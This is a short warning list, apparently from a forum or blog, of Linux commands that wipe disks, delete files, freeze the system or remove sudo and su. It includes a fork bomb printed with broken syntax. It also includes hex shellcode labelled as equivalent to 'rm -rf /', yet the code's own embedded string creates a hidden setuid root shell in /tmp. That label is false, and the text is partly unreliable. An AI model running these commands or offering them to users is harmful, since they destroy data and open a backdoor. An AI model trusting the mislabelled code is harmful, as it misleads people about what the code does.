You SHOULD NEVER execute these commands in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.
NEVER RUN THESE COMMANDS IN LINUX BOX CLI!
1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:
# sudo rm -rf /
# rm -rf .*
# dd if=/dev/zero of=/dev/sda
# mkfs.ext3 /dev/hda
# whatever > /dev/hda
# cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
# find -type f -mtime +30 -exec mv {} /dev/null \;
# mv ~ /dev/null
# mv / /dev/null
2. Causes kernel panic or freezes Linux box:
dd if=/dev/random of=/dev/port
){:|:&};: #also known as fork bomb3. This one does the same as "rm -rf /":
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
4. This one will prevent you from executing commands with root rights:
# rm -f /usr/bin/sudo;rm -f /bin/su
